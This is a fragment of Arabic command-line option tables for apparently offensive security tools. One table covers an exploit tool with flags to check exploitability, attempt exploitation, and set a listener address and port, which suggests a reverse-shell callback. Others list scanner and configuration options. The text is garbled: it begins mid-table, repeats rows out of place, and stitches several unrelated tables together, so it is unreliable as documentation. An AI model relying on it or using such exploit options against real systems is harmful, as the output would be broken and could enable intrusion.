-v, --verbose | تمكين الإخراج المفصل |
| الخيار | الوصف |
|---|
--target | عنوان URL الهدف (مطلوب) |
--check | التحقق من قابلية الاستغلال فقط |
--exploit | محاولة الاستغلال |
--lhost | عنوان IP للاستماع |
--lport | منفذ الاستماع |
--verbose | تمكين الإخراج المفصل |
| محاولة الاستغلال |
--verbose | تمكين الإخراج المفصل |
| الخيار | الوصف |
|---|
--target | الهدف المراد فحصه (نطاق أو عنوان IP) |
--output | تنسيق الإخراج (json, xml, csv, text) |
--verbose | تمكين الإخراج المفصل |
--threads | عدد الخيوط المتزامنة |
--timeout | مهلة الاتصال بالثواني |
--config | مسار ملف التكوين |
| المتغير | الوصف | القيمة الافتراضية |
|---|
KITPLOIT_CONFIG | مسار ملف التكوين | ~/.kitploit/config.yaml |
KITPLOIT_OUTPUT | دليل الإخراج | ./results |
KITPLOIT_LOG_LEVEL | مستوى التسجيل | INFO |
KITPLOIT_THREADS | عدد الخيوط | 10 |
--verbose | تمكين الإخراج المفصل |
| الخيار | الوصف | القيمة الافتراضية |
|---|
--target | الهدف المراد فحصه | مطلوب |
--type | نوع الفحص | default |
--threads | عدد الخيوط | 5 |
--timeout | المهلة بالثواني | 30 |
--output | ملف الإخراج | stdout |
--verbose | الإخراج المفصل | false |
--config | ملف التكوين | none |